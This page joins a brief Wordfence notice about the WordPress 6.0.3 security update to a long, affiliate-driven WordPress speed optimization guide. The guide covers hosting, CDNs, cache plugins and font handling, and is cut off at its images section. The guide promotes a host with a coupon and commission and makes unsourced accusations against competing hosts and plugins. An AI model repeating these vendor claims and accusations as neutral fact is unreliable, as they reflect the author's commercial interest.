The WordPress 6.0.3 Security update contains a much larger number of security patches than usual. Most of these are not easy to exploit without an existing proof of concept and require an authenticated user. Additionally, the Wordfence firewall should protect all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against most of these vulnerabilities. We urge you to verify that your site has been updated to a patched version immediately as there are vulnerabilities in this update that the Wordfence firewall cannot practically block. These vulnerabilities should be taken seriously as a skilled and lucky attacker could potentially use several of them for site takeover.

Special thanks to Wordfence Threat Intelligence Lead Chloe Chamberland for collaborating on this article. Props to Toshitsugu Yoneyama, devrayn, Ben Bidner, Simon Scannell, Marc Montpas, Alex Concha, Than Taintor, Thomas Kräftner, and Michael Mazzolini for discovering and responsibly disclosing these vulnerabilities.

Source :
https://www.wordfence.com/blog/2022/10/patch-now-the-wordpress-6-0-3-security-update-contains-important-fixes/

25 Ways To Fix A Slow WordPress Site And Pass Core Web Vitals: 2022 Advanced Guide

Welcome to the most complete guide on WordPress speed optimization!

This is my attempt to sum up WordPress speed + core web vitals in 1 post (it’s loooong).

I’ve constantly updated it to reflect new changes ever since I first published this 10 years ago. You have updates to things like core web vitals, plugin changelogs, and Cloudflare Enterprise happening every day. While site speed has gotten complex, the basics have stayed the same: use lightweight themes/plugins on fast servers (ideally with a performant cache plugin/CDN).

Why this tutorial is different:

First, my recommendations on tools/plugins/services are arguably better than what other people tell you to use. I’m very transparent about SiteGround’s slow TTFB and cache plugin, Kinsta’s overpriced service + lack of resources, NitroPack being blackhat, RocketCDN’s poor performance, and Elementor/Divi being slow. I’ve also written extensive reviews/tutorials on nearly every major host, cache plugin, CDN, and core web vital you can find in my nav menu.

Which is the 2nd reason it’s different: configuration guides! I have tons of them. Need help configuring FlyingPressLiteSpeed Cache, or Perfmatters? Want to improve TTFB or LCP? Or maybe you’re wondering which Cloudflare settings to use. I have detailed guides on all those.

If you have suggestions on making this tutorial better (or you have a question), drop me a comment. I’m all ears. I’m not for hire because I spend so much time writing these guides 🙂

Good luck and fair seas!

  1. Testing Tools
  2. DNS
  3. Hosting
  4. Page Builders
  5. CDN
  6. Cache Plugins
  7. Other Caching
  8. Plugins
  9. CSS + JavaScript
  10. Third-Party Code
  11. Fonts
  12. Images
  13. Videos
  14. Comments
  15. LCP
  16. CLS
  17. Preload, Prefetch, Preconnect
  18. Database
  19. Background Tasks
  20. Mobile
  21. WooCommerce
  22. Security
  23. PHP Version
  24. Make Sure Optimizations Are Working
  25. Speed Plugins
  26. Get Help
  27. My Setup

1. Testing Tools

Find bottlenecks on your site before jumping in.

  • Chrome Dev Tools – the coverage report shows your largest CSS/JS files and where they’re loaded from (plugins + third-party code are common culprits). So many parts of speed and web vitals are related to CSS/JS and it’s best to tackle it at the source. Removing things you don’t need is better than trying to optimize it.
  • KeyCDN Performance Test  – measure TTFB in 10 global locations. This is mainly improved with better hosting and using a performant CDN with full page caching (like APO or FlyingProxy). It also shows DNS lookup times and TLS which can be improved with a fast DNS (i.e. Cloudflare) and configuring their SSL/TLS settings.
  • PageSpeed Insights – most items come down to reducing or optimizing CSS, JS, fonts, images, TTFB, and above the fold content. For example, preload your LCP image and exclude it from lazy load, then move large plugins/elements below the fold so they can be delayed. Focus on recommendations in PSI’s opportunities + diagnostics sections, and monitor your core web vitals report in Search Console.
  • CLS Debugger – see your website’s layout shifts (CLS) on mobile/desktop in a GIF.
  • WP Hive – Chrome extension that lets you search the WordPress plugin repository and see whether a plugin impacts memory usage and PageSpeed scores, but only measures “out of the box settings” and not when content is added to the frontend.
  • Wordfence Live Traffic Report – see bots hitting your site in real-time. AhrefsBot, SemrushBot, compute.amazonaws.com and other bots can be blocked if you’re using their service. Since most bot protection services don’t block these service’s bots, you’ll need to do this manually with something like Cloudflare firewall rules.
  • WP-Optimize – see which plugins add database overhead and remove old tables left behind by plugins/themes you deleted. Does a better than job cache plugins with scheduled cleanups because it can keep a certain number of post revisions while removing junk (cache plugins delete them all, leaving you with no backups).
  • cdnperf.com + dnsperf.com – you can these as baseline for choosing a DNS/CDN provider, but it doesn’t include StackPath’s CDN (removed from cdnperf and used by RocketCDN), QUIC.cloud’s CDN or CDN (used on LiteSpeed), and other services.
  • Waterfall Charts – testing “scores” isn’t nearly as effective as measuring things in a Waterfall chart. Google’s video on optimizing LCP is a great resource and shows you the basics. You can find one in WebPageTest, Chrome Dev Tools, and GTmetrix.
  • Diagnostic Plugins –  the speed plugins section lists all plugins mentioned in the guide. It includes diagnostic plugins like Query Monitor (this is probably best for finding bottlenecks), WP Server Stats, WP Hosting Benchmark, and WP Crontrol.

2. DNS

A slow DNS causes latency which is part of TTFB (and TTFB is part of LCP).

Whoever you registered your domain through is who you’re using for a DNS. GoDaddy, NameCheap, and even Amazon Route 53 (used on Kinsta) don’t perform well on dnsperf.com. Better options include Cloudflare, QUIC.cloud, or Google (if using Google Domains). I usually recommend Cloudflare since it’s free and can be used on any setup by changing nameservers.

Cloudflare dns

3. Hosting

Rocket.net with their free Cloudflare Enterprise will outperform any “mainstream host” since you get 32 CPU cores + 128GB RAM, NVMe storage, Redis, and Cloudflare’s full page caching + Argo Smart Routing. I use them and average a <150ms global TTFB (or click through my posts).

12 things to know about hosting/TTFB

  1. Hosting is the #1 factor of site speed.
  2. TTFB is a key indicator of hosting performance.
  3. TTFB is part of core web vitals and is 40% of LCP.
  4. TTFB also affects INP (since latency is part of TTFB).
  5. SpeedVitals tests TTFB in 35 locations – use this tool!
  6. Test your site 3 times to get accurate numbers in SpeedVitals.
  7. Doing this ensures your caching and CDN are working properly.
  8. Check your average TTFB worldwide in your 3rd SpeedVitals test.
  9. Google flags your TTFB if it’s over 600ms, but under 200ms is better.
  10. PageSpeed Insights (and other testing tools) only test TTFB in 1 location.
  11. WP Hosting Benchmark also tests hosting performance (here are my results).
  12. Combining a good host/CDN is arguably the best way to improve TTFB (using a host with improved specs on top of Cloudflare Enterprise hits 2 birds with 1 stone).
Omm ttfb speedvitals 1

Mainstream hosts (like SiteGround, Hostinger, and WPX) don’t have a lot of CPU/RAM, use slower SATA SSDs, and are shared hosting with strict CPU limits which force you to upgrade plans. Cloud hosting is faster, but Kinsta still uses SATA SSDs with low CPU/RAM, PHP workers, and monthly visits (Redis also costs $100/month). Cloudways Vultr HF is who I previously used, but again, they start with only 1 CPU + 1GB RAM on slower Apache servers, PHP-FPM, and GZIP.

Here are Rocket.net’s:

All plans use 32 CPU cores + 128GB RAM with NVMe (faster than SATA), Redis (better than memcached), LiteSpeed’s PHP, and Brotli (smaller compression than GZIP). They have no PHP worker limits since only about 10% of traffic hits your origin due to their Cloudflare Enterprise.

SiteGroundHostingerKinstaCloudways Vultr HFRocket.net
Hosting typeSharedSharedCloudCloudPrivate cloud
StorageSATASATASATANVMeNVMe
CPU coresNot listed1-212132
RAM (GB)Not listed.768 – 1.53681128
Object cacheMemcachedxRedis ($100/mo)Redis (Pro)Redis
ServerNginxLiteSpeedNginxApacheNginx
PHP processingFastCGILiteSpeedFastCGIFPMLiteSpeed
CompressionBrotliBrotliBrotliGZIPBrotli
CPU limitsVery commonLow memoryLow PHP workersAverageNone

 
Why you need Cloudflare Enterprise

Because you get Enterprise features like 270+ PoPs, prioritized routing, full page caching, HTTP/3, WAF, and image optimization. 3 problems with most CDNs are their small network (PoPs) and no full page caching or image optimization. For example, WP Rocket’s RocketCDN uses StackPath which was removed from cdnperf.com and doesn’t include image optimization with a mediocre Tbps speed of 65+. SiteGround’s CDN only has 14 PoPs. QUIC.cloud CDN (for LiteSpeed) and BunnyCDN are good, but they still don’t beat Cloudflare Enterprise. Sure, you can pay $5/mo for Cloudflare’s APO, but you’re still missing out on all other Enterprise features.

3 popular hosts with Cloudflare Enterprise

Rocket.net’s Cloudflare Enterprise is free, setup automatically, and uses full page caching (unlike Cloudways). And unlike Kinsta’s, Rocket.net has Argo Smart Routing (specifically good for WooCommerce sites), load balancing, and image optimization. Rocket.net CEO Ben Gabler also used to be StackPath’s Chief Product Officer and went as far as building Rocket.net’s data centers in the same locations as Cloudflare’s. And unlike both hosts, Rocket.net doesn’t limit PHP workers (there’s no CPU limits) and monthly visit limits are 10-25 times more than Kinsta’s.

Cloudflare Enterprise (Kinsta)Cloudflare Enterprise (Cloudways)Cloudflare Enterprise (Rocket.net)
CDN PoPs270270270
Prioritized routing
Full page cachingx
HTTP/3
WAF
Argo smart routingx
Load balancingx
Image optimizationx
Automatic configurationxx
PriceFree$5/mo (1 domain)Free

 
Problems with mainstream hosts

I’ve written some pretty bad reviews about SiteGround’s slow TTFB, CPU limits, and why SG Optimizer does a poor job with core web vitals (they also control several Facebook Groups and threaten to sue people who write bad reviews). Hostinger writes fake reviews and is only cheap because you get less resources like CPU/RAM. Kinsta and WP Engine are way too expensive for how many resources, PHP workers, and monthly visits you get. Along with major incidents like WPX’s worldwide outage and SiteGround’s DNS getting blocked by Google for 4 days (both WPX and SiteGround denied responsibility). One thing is clear: most mainstream hosts appear to be more interested in profits than performance. Please do your own research before getting advice.

Getting started on Rocket.net

Step 1: Create a Rocket.net account and you’ll be prompted to add a coupon. Sign up with coupon OMM1 to get your first month for $1 (renews at $30/mo or $25/mo when paying yearly). If you sign up with my coupon or affiliate links, I get a commission which I seriously appreciate.

Rocket. Net omm1 coupon

Step 2: Request a free migration. They did this the same day and let me review my website before it was launched with no downtime. For the record, their support is better than Kinsta’s and you can reach out to Ben Gabler or his team (via phone/chat/email) if you have questions.

Step 3: Upgrade to PHP 8.1 and ask support to install Redis (they use Redis Object Cache). These are the only things I did since Cloudflare Enterprise and backups are both automatic.

Step 4: Retest your TTFB in SpeedVitals and click through your pages to see the difference. You can also search their TrustPilot profile for people mentioning “TTFB” where they’re rated 4.9/5.

Kinsta to rocket. Net migration
Moved to rocket. Net vs siteground
Rocket. Net positive review
Rocket. Net facebook review 1
Rocket. Net vs kinsta
Kinsta to rocket. Net ttfb redis
https://youtube.com/watch?v=AT3LycPIR2E%3Fautoplay%3D1
Namehero cloudways rocket. Net
I agree with this for the most part

I was previously on Cloudways Vultr HF which was great, but their Cloudflare Enterprise doesn’t use full page caching (yet) and is $5/mo with annoying challenge pages. Even if their Cloudflare Enterprise was identical, Rocket.net still outperforms them with better specs like more CPU/RAM, Brotli, and LiteSpeed’s PHP (plus better support, easier to use, and usually pricing). While Cloudways is a big improvement than most hosts, you’re already spending $18/mo for Vultr HF’s lowest 1 CPU plan with Cloudflare Enterprise. At that point, the extra $7/mo you’d be spending at Rocket.net is worth it. Rocket.net’s dashboard is also much easier.

For small sites on a budget, NameHero’s Turbo Cloud plan is similar to Hostinger between LiteSpeed, cPanel, and pricing. However, NameHero’s Turbo Cloud plan has about 1.5x more resources (3 CPU + 3GB RAM) with NVMe storage. NameHero’s support/uptimes are also better shown in TrustPilot reviews. This is one the fastest setups on a budget… you get a LiteSpeed server + LiteSpeed Cache + QUIC.cloud CDN, and email hosting. The main con is their data centers are only in the US and Netherlands. If these aren’t close to your visitors, make sure to setup QUIC.cloud’s CDN which has HTML caching (ideally the paid plan which uses all 70 PoPs).

Cpu cores on litespeed hosting plans
Litespeed cache litespeed server
Ram on litespeed hosting plans
Namehero vs siteground feedback

4. Page Builders

Elementor/Divi are slower than Gutenberg/Oxygen.

Since multiple PSI items are related to CSS/JS/fonts, many people are replacing them with lightweight alternatives. The last thing you want to do is use a slow page builder then install a bunch of “extra functionality plugins” which add even more CSS/JS. Don’t fall into this trap. If you don’t want to ditch your page builder completely, there are still ways you can optimize it.

  • Divi/Elementor add extra CSS/JS/fonts to your site.
  • Adding more page builder plugins can slow it down more.
  • GeneratePress (what I use), Kadence, Blocksy, Oxygen are faster.
  • If using Elementor, try the settings under Elementor → Experiments.
  • Same thing with Divi (Divi → Theme Options → General → Performance).
  • If using Astra Starter Sites, use a template built in Gutenberg (not Elementor).
  • Use CSS for your header/footer/sidebar (instead of bloated page builder code).
  • Elementor has a theme customizer setting to host fonts locally + preload them.
  • If you don’t use Elementor font icons, disable them or use custom icons instead.
  • If you don’t use elementor-dialog.js for popups, disable it (i.e. using Perfmatters).
  • Many page builder plugins are module-based, so disable modules you don’t use.
  • Simplify your design by using less widgets/columns (here’s a YouTube video on it).
  • If you preload critical images in FlyingPress or Perfmatters, this excludes above the fold images from lazy load and preloads them to improve LCP. However, it doesn’t work with Elementor image widgets (go through your page builder + cache plugin documentation).
  • Background images aren’t lazy loaded by default because they’re loaded from a separate CSS file. Some cache plugins support a lazy-bg class you can use to lazy load backgrounds.
  • WP Johnny offers page builder removal services but he’s expensive and usually a busy guy.
Fastest wordpress themes
View test
Elementor css
Use the coverage report to find page builder plugins adding CSS/JS

5. CDN

Have a slow TTFB in KeyCDN’s performance test?

A performant CDN with HTML caching (and other CDN features) can be the difference maker. While cdnperf.com is a good baseline, there are other things to consider.

Start by looking at their network page (you’ll see BunnyCDN’s network has more PoPs and faster a Tbps than StackPath). Also look at the features (for example, RocketCDN only serves files from the CDN and nothing else while other CDNs do a lot more than just “serving files.” Cloudflare’s dashboard has hundreds of optimizations to improve speed, security, and CPU usage. Aside from choosing a good CDN, make sure to also take advantage of everything it offers. Or just use a service like FlyingProxy/Rocket.net that integrates Cloudflare Enterprise.

CDNPoPsPriceRating
Cloudflare270Freemium2.1
BunnyCDN93$.01 – $.06/GB4.8
QUIC.cloud70Free or $.02 – $.08/GB3.0
Google Cloud CDN100+Varies where purchasedN/A
CloudFront310Free 50GB/yr then $0.02 – $.16/GB4.4
KeyCDN40$.01 – $.11/GB4.5
StackPath (Used By RocketCDN)50Varies where purchased or $7.99/mo2.3
SiteGround CDN14Free on SiteGroundN/A
WPX XDN25Free on WPXN/A

Cloudflare – it’s hard to beat Cloudflare with 270+ data centers and all the robust features. Open your Cloudflare dashboard and use the recommendations below to configure settings.

Free Cloudflare Features I Recommend Using

  • CDN – in your DNS settings, find your domain and change the proxy status to Proxied (orange cloud). This is needed for several Cloudflare features to work.
  • TLS version – set minimum TLS version to 1.2 and make sure TLS 1.3 is enabled.
  • Firewall rules – often used to block access to wp-login, XML-RPC, and “hacky” countries. Firewalls block attacks along with unwanted requests to the server.
  • Bot protection – block spammy bots from hitting your server. I would also check your Wordfence live traffic report to see bots hitting your website in real time and manually block bots like AhrefsBot + SemrushBot if you don’t use them. Bot fight mode can add a JS file to your site (invisible.js) and cause PSI errors (so test this).
  • Brotli – this only works if your host supports Brotli, otherwise GZIP will be used.
  • Early hints – while the server is waiting for a response, preload/preconnect hints are sent to the browser so resources load sooner, reducing your server think time.
  • Browser cache TTL – 1 year is good for static sites (my blog is mostly static so this is what I use) or use 1 month for dynamic sites. This is recommended by Google and can fix serve static assets with an efficient cache policy in PageSpeed Insights.
  • Crawler hints – helps search engines efficiently time crawling and save resources.
  • Cache reserve – improves cache hit ratio by making sure specific content is being served from Cloudflare even when the content hasn’t been requested for months.
  • Workers – deploy code on Cloudflare’s edge servers (try the playground). Workers are serverless with automatic scaling + load balancing. Obviously involves coding knowledge and can reduce LCP by 80%. It can also be used for external cron jobs.
  • Cache everything page rule – most common page rule which caches HTML and improves TTFB, but I recommend APO or Super Page Cache for Cloudflare instead.
  • HTTP/3 – not true HTTP/3 but still a nice feature (test your site using HTTP/3 test).
  • 0-RTT connection resumption – good for repeat visitors, latency, mobile speed.
  • Hotlink protection – saves bandwidth by stopping people from copying your images and using them on their own website while they’re hosted on your server.
  • Zaraz – offload third-party scripts to Cloudflare like Google Analytics, Facebook Pixel, chatbots, and custom HTML. But test your results against delaying these.
  • Monitor bandwidth/analytics – the more bandwidth you offload to Cloudflare the better. This should lighten the load on your server while reducing CPU usage.

Paid Cloudflare Features

  • APO – caches HTML which can improve TTFB in multiple global locations.
  • WAF – block unwanted requests, improve security, and reduce CPU usage.
  • Argo + Tiered Cache – route traffic using efficient paths with Tiered Cache.
  • Image optimizations – I prefer these over plugins. Between all 3 (image resizing, Mirage, Polish), you don’t have to use a bloated image optimization plugin and they usually do a better job. You have features like compression/WebP and they also have mobile optimizations like serving smaller images to reduce mobile LCP.
  • Signed Exchanges – improves LCP when people click links in Google’s search results via prefetching which Google says can lead to a substantial improvement.
  • Load Balancing – creates a failover so your traffic is re-routed from unhealthy origins to healthy origins. Can reduce things like latency, TLS, and general errors.
  • Cloudflare Enterprise – majors benefits include prioritized routing, more PoPs, Argo + Tiered Cache, full page caching, image optimization, and other features depending where you get it from. The easiest/cheapest way is to use a host with Cloudflare Enterprise or FlyingProxy (I recommend Rocket.net’s who even built their data centers in the same locations as Cloudflare). It’s just more thought out than Cloudways/Kinsta. You could also consider using Cloudflare Pro which has some of these features. It requires more configuration but gives you more control.
Opcache memcached redis
Take advantage of different caching layers your host offers

BunnyCDN – Gijo suggests Cloudflare + BunnyCDN which is what I’ve used for a long time. If you’re using FlyingPress, FlyingCDN is powered by BunnyCDN with Bunny Optimizer + geo-replication. It’s also cheaper than buying these directly through BunnyCDN and easy to setup.

Cloudflare with bunnycdn

QUIC.cloud – use this if you’re on LiteSpeed. You’ll want to use the standard (paid) plan since the free plan only uses 6 PoPs and doesn’t have DDoS protection. It has HTML caching which is similar to Cloudflare’s full page caching and is also needed for LSC’s image/page optimizations.

Quic. Cloud cdn free vs. Standard plan

RocketCDN – uses StackPath which was removed from cdnsperf.com and has less PoPs, slower Tbps, no image optimization, no HTML caching, and no other features besides serving files from a CDN. Also isn’t “unlimited” like WP Rocket advertises since they will cut you off at some point.

SiteGround CDN – not a lot of PoPs/features and you have to use their DNS to use it (which if you remember, was blocked by Google for 4 days). I personally wouldn’t trust this with my site.

6. Cache Plugins

Let’s summarize 5 popular cache plugins in 10 lines or less.

FlyingPress – optimizes for core web vitals and real-world browsing better than the last 3. When a new core web vital update comes out (like fetchpriority resource hints), Gijo is almost always first to add it. Awesome features not found in most cache plugins: preloading critical images lets you set the number of images usually shown above the fold to exclude them from lazy load while preloading them. FlyingPress can also lazy render HTML elements, self-host YouTube placeholders, and it has a lazy-bg helper class for lazy loading background images. FlyingCDN uses BunnyCDN with Bunny Optimizer + geo-replication (great choice). The remove unused CSS feature is faster than WP Rocket’s since it loads used CSS in a separate file (instead of inline) which Perfmatters agrees is faster for visitors. Really, the main thing it doesn’t have is server-level caching. I moved from WP Rocket to FlyingPress and saw a big difference in speed.

SG OptimizerWP RocketFlyingPress
Server-side cachingxx
Delay JavaScriptx
Remove unused CSSxInlineSeparate file
Critical CSSx
Preload critical imagesxxBy number
Exclude above the fold imagesBy classBy URLBy number
Lazy load background imagesxInlineHelper class
Fetchpriority resource hintxx
Lazy render HTML elementsxx
Add missing image dimensionsx
YouTube iframe preview imagex
Self-host YouTube placeholderxx
Host fonts locallyxx
Font-display: swapx
Preload linksx
CDN (beyond Cloudflare)SiteGround CDNStackPathBunnyCDN
CDN PoPs146093
CDN TbpsN/A6580
Dynamic cachingxx
CDN geo-replicationxx
CDN image optimizationx
CDN image resizing for mobilexx
Documented APO compatibilityxx

LiteSpeed Cache – also does a great job optimizing for web vitals and real users, but different than FlyingPress. Mainly because it should only be used on LiteSpeed, it’s free, and it has faster server-side caching. However, the settings can be complicated. While some settings are similar to FlyingPress like loading used CSS in a separate file and lazy loading HTML elements, it has its own unique features such as localizing third-party resources, ESI, guest mode, LQIP, and HTML caching through QUIC. Use LSC if you’re on a LiteSpeed host. Anything else, I’d use FlyingPress.

WP Rocket – removing unused CSS is slower for visitors and RocketCDN isn’t a good CDN. WP Rocket doesn’t self-host fonts (or even recommend it) or video placeholders. Excluding above the fold images from lazy load and preloading them individually is tedious. Still no image optimization or documented APO compatibility. While Gijo releases many new features and updates FlyingPress to address core web vital updates, it seems WP Rocket has fallen behind. Two good things about WP Rocket are automatic delaying of JavaScript and documentation.

SiteGround Optimizer – great for caching, not for web vitals. Lacks way too many features and has a history of compatibility issues the developers blame on third-party plugins/themes if you check support threads. My advice is to only use it for caching, disable everything else, then use FlyingPress or WP Rocket (just make sure page caching is only enabled in 1 plugin and disabled in the other). Of course, SiteGround will glorify their cache plugin even when it’s clearly inferior.

NitroPack – don’t use this! The only reason you get better “scores” is because it moves elements off the main-thread so they can’t be detected in speed testing tools. This leads to great (but false) scores and it doesn’t actually do a good job making your website load faster compared to other plugins. Google “NitroPack blackhat” and you’ll find plenty of articles on it.

7. Other Caching

Cache plugins are just 1 layer.

Check whether your host supports object cache (Redis/memcached), OPcache, and HTTP accelerators like Varnish/FastCGI. Most do but they need to be enabled or set up manually.

You also have CDN caching which is its own layer. All these are meant for different things and you should ideally use most (if not all) them. People get scared they’re using too much caching, but as long as you’re only using 1 type of layer (not both Redis + memcached), it’s a good thing.

  • OPcache – enable in your host (can help reduce CPU usage).
  • Browser cache – enable in your cache plugin (stores files in browsers).
  • HTTP accelerators – enable in your host (probably Varnish or FastCGI).
  • Object cache – Redis generally uses memory more efficiently than memcached and is good for large/eCommerce sites. Once it’s enabled in your host, you’ll connect it your site using a plugin (i.e. LiteSpeed Cache, W3 Total Cache, SG Optimizer, WP Redis). Check your host’s documentation/support on which plugin is best. For example, Rocket.net requires you to install the WP Redis plugin while Cloudways requires you to install the Redis addon.
  • CDN cache – APO is not the same as a cache everything page rule or the Super Page Cache plugin. QUIC also does HTML caching, then there are services that include Cloudflare’s full page cache like Rocket.net’s Cloudflare Enterprise, FlyingProxy, and SiteGround Optimizer. The key thing is that you’re caching HTML somewhere as it can significantly improve TTFB.
Opcache memcached redis
Take advantage of different caching layers your host offers

8. Plugins

Watch out for plugins that:

  • Add CSS/JS to the frontend – use the Chrome Dev Tools coverage report to see which plugins add CSS and JS. This includes plugins that inject third-party JavaScript or fonts.
  • Increase CPU usage – common with plugins that collect “statistics” like Wordfence’s live traffic report, Query Monitor, and Broken Link Checker. But can really be from any plugin. WP Hive tells you if a plugin increases memory usage when browsing the WP plugin repo.
  • Add database bloat – use WP-Optimize to see which plugins (or specific plugin modules) add the most database overhead. This is explained more in this guide’s database section.
  • Load above the fold – slow plugins are bad enough, but loading them above the fold is even worse. When plugins load below the fold, you can delay them (i.e. comment plugins).
  • Use jQuery – Perfmatters has a script manager setting to show dependencies. Once it’s enabled, head to the script manager → jQuery and it shows you all plugins using jQuery. Felix Arntz wrote an article on how removing jQuery can reduce JavaScript by up to 80%.
Jquery plugin dependencies 1
Perfmatters shows plugins that depend on jQuery

Lightweight Alternatives

  • Social Sharing – Grow Social.
  • Tables – Gutenberg block (no plugin).
  • Gallery – Gutenberg block (no plugin).
  • Buttons – Gutenberg block (no plugin).
  • Comments – native comments (no plugin).
  • Image Optimization – image CDN (no plugin).
  • Translate – MultilingualPress, Polylang (not WPML).
  • Security – no security plugin (Cloudflare, firewall, etc).
  • Sliders – Soliloquy or MetaSlider (but ideally no sliders).
  • Analytics – call me crazy but I only use Google Search Console.
  • SEO – Rank Math or SEOPress (but most SEO plugins use jQuery).
  • CSS – need custom styling or even a table of contents? Just use CSS.
  • Backups – hosting backups or a lightweight alternative like UpdraftPlus.

In Query Monitor, the “queries by component” section shows your slow plugins. You can also use my list of 75+ common slow plugins. Finally, delete all plugins you’re not using (as well as their database tables in WP-Optimize), and disable plugin features/modules you’re not using.

PluginCategoryMemory ImpactPageSpeed Impact
All In One SEOSEOxx
Broken Link CheckerSEOx
DisqusCommentsx
Divi BuilderPage Builderxx
ElementorPage Builderxx
Elementor Premium AddonsPage Builderx
Elementor ProPage Builderxx
Elementor Ultimate AddonsPage Builderx
JetElementsPage Builderxx
JetpackSecurityxx
NextGEN GalleryGalleryxx
Popup BuilderPopupxx
Site Kit by GoogleAnalyticsx
Slider RevolutionSliderxx
Social Media Share ButtonsSocial Sharingx
WooCommerceWooCommercexx
WordfenceSecurityx
wpDiscuzCommentsxx
WPMLTranslatexx
Yoast SEOSEOx

9. CSS + JavaScript

Probably the #1 reason for poor core web vitals.

New Optimizations

  • Remove unused CSS – WP Rocket’s method of loading used CSS inline is slower for visitors but better for scores. You should ideally use FlyingPress, LiteSpeed Cache, or Perfmatters for this which loads used CSS in a separate file so it can be cached and doesn’t increase HTML size. You should only be using 1 plugin for this. If you’re not using an optimization plugin that does this, try DeBloat or PurifyCSS.
  • Remove Gutenberg CSS – if you don’t use Gutenberg’s block library (i.e. you’re using classic editor), you can remove Gutenberg’s CSS which is loaded by default.
  • Asset unloading plugins – remove CSS/JS (or entire plugins) from specific pages/posts where they don’t need to load. Common examples are only loading contact forms on the contact page, only loading social sharing plugins on posts, and disabling WooCommerce plugins where they’re not used. You can also disable specific files like jQuery and elementor-dialog if you don’t use them. I recommend Perfmatters especially if you’re using WP Rocket or SiteGround Optimizer because it has many optimizations not found in these plugins. Be sure to use test mode and dependencies in your script manager settings. For a free plugin, try Asset CleanUp.
  • Critical CSS – loads above the fold CSS immediately which improves LCP. Most cache plugins do this while others (like SG Optimizer) don’t. If you make changes to stylesheets or custom CSS, regenerate critical CSS so it’s current with your site.
  • Load CSS/JS non render-blocking – both deferring JavaScript and critical CSS help serve resources non render-blocking. Make sure they work in your cache plugin and exclude files from defer if they break your site. Or try Async JavaScript.
  • Minify – Cloudflare lets you do this but you should use your cache plugin instead.
  • Don’t combine – should almost always be off especially on big sites or on HTTP/2.

Optimizations Covered In Other Sections

  • Page builders – Elementor/Divi add extra CSS/JS which can be optimized with their built-in performance settings, coding your header/footer/sidebar in CSS, disabling Elementor fonts/dialog, lazy loading background images in CSS, etc.
  • Plugins – just look at the screenshot below (plugins are obviously a major factor).
  • Third-party code – hosting files locally, delaying JavaScript, and using a smaller GA tracking code can reduce its size or delay so it doesn’t impact initial load times.
  • Font Icons – disable these if you don’t use them or use Elementor’s custom icons.
  • WooCommerce – disable scripts/styles on non-eCommerce content and disable Woo plugins where they don’t need to load (many load across the entire website).
Css javascript chrome dev tools
Use the coverage report to find your largest CSS/JS files

10. Third-Party Code

This is anything on your site that has to pull info from a third-party domain (like Google Fonts, Google Analytics tracking code, or an embedded YouTube video). It’s a common reason for JS-related errors in PSI. Luckily, most of it can be optimized especially if it’s shown below the fold.

  • Step 1: Host files locally – some third-party code can be hosted locally (see the table below). LiteSpeed Cache can localize resources, FlyingPress can host fonts/YouTube thumbnails locally, Perfmatters does fonts and analytics, and WP Rocket does nothing.
Third-Party CodeURL(s)Plugins To Host It Locally
Google Fontsfonts.gstatic.comMost optimization plugins, Elementor, OMGF
Google Analyticsgoogle-analytics.comFlying Analytics, Perfmatters
Gravatarsgravatar.comSimple Local Avatar
YouTube Thumbnailsi.ytimg.comFlyingPress, WP YouTube Lyte
  • Step 2: Delay JavaScript – for third-party code that can’t be hosted locally, delay its JavaScript if it’s loading below the fold (you can also delay plugins loading below the fold). WP Rocket does this automatically while other cache plugins make you add files manually. If your cache plugin doesn’t support this, use Perfmatters or Flying Scripts. In these, you’ll set a timeout period and can increase this if you’re not seeing good results. You can try offloading third-party code to Cloudflare Zaraz, but I prefer delaying its JS.
ga( '
ga('
google-analytics.com/analytics.js
analytics.js
gtagv4.js
analytics-minimal.js
/gtm.js
/gtag/js
gtag(
/gtm-
adsbygoogle.js
grecaptcha.execute
optimize.js
fbevents.js
fbq(
/busting/facebook-tracking/
disqus.com/embed.js
script.hotjar.com
wp-content/themes/script-name
wp-content/plugins/plugin-name
  • Step 3: Prefetch or preconnect everything else – for all third-party code that can’t be hosted locally or delayed, add a DNS prefetch resource hint. Preconnect is usually only used for CDN URLs (not needed for Cloudflare), and third-party fonts (should be hosted locally). Or YouTube if you can’t eliminate requests using video optimizations in step #13.
  • Google Analytics – Perfmatters + Flying Analytics can use a minimal analytics tracking code that’s just 1.5 KB. Perfmatters can also prevent a Doubleclick request by disabling display features, but both these should only be used if you don’t need certain data in GA.
  • Avoid overtracking – one of the most common “mistakes” I see is sites using too many tracking tools: Analytics, Tag Manager, Heatmaps, Pixel, etc. Do you really need them all?
Reduce impact of third party code wordpress

11. Fonts

Probably your largest files after CSS/JS.

Your GTmetrix Waterfall chart shows font load times, number of requests, and whether they’re served locally or from a third-party domain like fonts.gstatic.com or use.fontawesome.com. Be sure to keep tabs on your Waterfall chart as you make optimizations. Fonts can also cause FOIT and FOUT which cause layout shifts. A few simple tweaks can make your fonts load much faster.

  • Reduce font families, weights, icons – try to only use 1 font family and only load the weights you actually use. Disable Font Awesome and Eicons if you don’t use them (Elementor has a tutorial on this). Some fonts also have larger file sizes than others.
  • Use WOFF2 – the most lightweight/universal format which is faster than .ttf and .otf.
  • Host locally – if your fonts are being served from fonts.gstatic.com, host them locally.
  • Preload – fonts should be preloaded when they load above the fold or used in CSS files. Most cache/optimization plugins require you to manually add font files (and if there’s a crossorigin option like in Perfmatters, it should be used for fonts). Elementor hosts fonts locally and preloads them under Theme Customizer → Performance. PSI used to tell you which fonts to preload in “preload key requests” but I don’t think they do this anymore.
  • Add font-display: optional – if you need to “ensure text remains visible during webfont load,” add font-display: optional to your font’s CSS. This is recommended by Google for the fastest performance while preventing layout shifts. It delays loading text up to 100ms. As of writing this, most plugins only support swap found in Elementor, Perfmatters, and most cache plugins. To use optional, you need to add it manually to your font’s CSS, use WP Foft Loader, or use swap until your optimization plugin supports optional. Preloading fonts that use font-display: optional completely eliminates layout shifts (FOIT) from fonts.
  • Load fonts inline – Elementor and Divi have options to do this and so does FlyingPress.
  • System fonts – system fonts generate 0 requests and are obviously best for speed, but even for someone who obsesses over performance, I’d rather have a better looking font.
  • Use custom Icons for Elementor – replace Font Awesome and Eicons with custom icons.
  • Serve Google Fonts from Cloudflare Workers – I’ll leave this here if you want to dive in.

12. Images

There are 7 PSI items related to image optimization, and that doesn’t even cover everything.

Image optimization pagespeed insights
